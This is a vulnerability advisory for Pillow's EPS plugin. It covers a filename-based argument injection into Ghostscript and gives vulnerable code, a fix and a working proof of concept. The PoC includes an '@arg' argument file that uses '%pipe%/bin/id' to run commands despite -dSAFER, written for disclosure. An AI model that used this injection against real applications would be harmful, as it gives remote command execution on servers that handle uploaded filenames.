Skip to content

GHSA-w889-685w-c8fh BIT-pillow-2026-112900 CVE-2026-112900

Pillow: Argument Injection in Ghostscript call, potentially leading into RCE

Critical PyPI
Severity
0.0 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
1.30%
Chance of exploitation in the next 30 days. Higher than 70.51% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
Fix
13.0.0
Upgrade pillow to this version or later

Description

Summary

PIL.EpsImagePlugin.Ghostscript() builds the Ghostscript command line using the input file path (fp.name) without sanitization, placing it at -f <infile>. A filename beginning with - is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with -dSAFER enabled).

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Type

CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)

Vulnerable Codes

infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
    infile = fp.name                      # user-controlled path used as-is, without validation
else:
    in_fd, infile_temp = tempfile.mkstemp()
    os.close(in_fd)
    infile = infile_temp
    # ... (copy fp into a temporary file)

# Build Ghostscript command
command = [
    gs_binary,
    "-q",
    f"-g{width:d}x{height:d}",
    f"-r{res_x:f}x{res_y:f}",
    "-dBATCH",
    "-dNOPAUSE",
    "-dSAFER",                            # default sandbox — does NOT stop this injection
    f"-sDEVICE={device}",
    f"-sOutputFile={outfile}",
    "-c",
    f"{-bbox[0]} {-bbox[1]} translate",
    "-f",
    infile,                               # injected here: inserted into argv with no check for
                                          # option prefixes (-, --) or Ghostscript's @-file token
                                          # => argument injection (CWE-88)
    "-c",
    "showpage",
]
# ...
subprocess.check_call(command, startupinfo=startupinfo)   # spawns Ghostscript

Root cause.

When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f <infile> position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.

Affected

  • Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included).
  • Component: src/PIL/EpsImagePlugin.py, Ghostscript() — infile = fp.name, and the command list entry "-f", infile.

Suggested fix

Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (-/--) or as an argument-file token (@):

    if hasattr(fp, "name") and os.path.exists(fp.name):
        infile = os.path.abspath(fp.name)   # was: infile = fp.name

os.path.abspath() guarantees the path starts with a path separator (or a drive letter on Windows), so a leading - or @ can no longer reach Ghostscript's argument parser. The else branch already builds a safe tempfile.mkstemp() path and needs no change.

PoC

dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py.

FROM ubuntu:24.04

RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .

CMD ["python3", "poc.py"]

poc.py

import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

name = "-h"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
    im.load()
except Exception as e:
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't display `help`")

poc-rce.py

import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

# To chain this vulnerability into critical RCE, We need another arbitrary text file
# In this script, it is `arg`.
name = "@arg"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
print(f"[*] and this leads to arbitrary command injection.")
print(f"*********************************************")
try:
    im.load()
except Exception as e:
    print(f"*********************************************")
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("")
print("CWE-78: OS Command Injection;")
print("CWE-88: Argument Injection  ; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't call `id`")

arg

-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice

Impact

Confirmed — Ghostscript argument injection. Because the filename is not validated, a leading -/-- is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to Image.open() can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds.

Potential RCE (verified). The filename is also not validated against Ghostscript's @-file syntax: a filename of the form @<path> causes Ghostscript to read additional command-line arguments from <path>, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution — an escalation we verified in our PoC (execution of id).

Applies under Pillow's default configuration (with -dSAFER enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1)

Why this is a Pillow bug (not the documented "block untrusted EPS" risk)

This is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected — the guidance to block untrusted EPS input does not cover this. Because Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@) is Pillow's responsibility, not that of every downstream caller. The precondition — attacker influence over a filename that reaches Image.open() — is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API.

Author

Chanu Kang (from CysecLab at KAIST) @HLe4s

Affected versions

PyPI

PackageVulnerableFixed in
pillow
>= 2.6.0, < 13.0.0
13.0.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

pillow PyPI → 13.0.0

pip
pip install --upgrade "pillow>=13.0.0"
poetry
poetry add "pillow>=13.0.0"
uv
uv add "pillow>=13.0.0"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 9.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

How to prevent it
  • Architecture and Design: If at all possible, use library calls rather than external processes to recreate the desired functionality.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design: For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
  • Implementation: While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
  • Implementation: If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would ne
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
  • Operation: Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.

How to prevent it
  • Implementation: Where possible, avoid building a single string that contains the command and its arguments. Some languages or frameworks have functions that support specifying independent arguments, e.g. as an array, which is used to automatically perform the appropriate quoting or escaping while building the command. For example, in PHP, escapeshellarg() can be used to escape a single argument to system(), or exec() can be called with an array of arguments. In C, code can often be refactored from using system() - which accepts a single string - to using exec(), which requires separate function arguments for each parameter.
  • Architecture and Design: Understand all the potential areas where untrusted inputs can enter your product: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
  • Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
  • Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
PYSEC-2023-175
Pillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863).
High Known exploited Also affects pillow
GHSA-j7hp-h8jx-5ppr
libwebp: OOB write in BuildHuffmanTable
High Known exploited Also affects pillow
GHSA-78g4-xqwv-q3g8
Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load()
High Also affects pillow
GHSA-654x-cwwv-5j9c
Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1
Medium Also affects pillow
GHSA-xvh5-g6gv-559v
Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags
High Also affects pillow
GHSA-g7cr-3p24-7wf7
Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer
High Also affects pillow
GHSA-9v9v-9qvf-h2hj
Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)
High Also affects pillow
GHSA-g4qv-2jxx-769h
Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time
Medium Also affects pillow
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor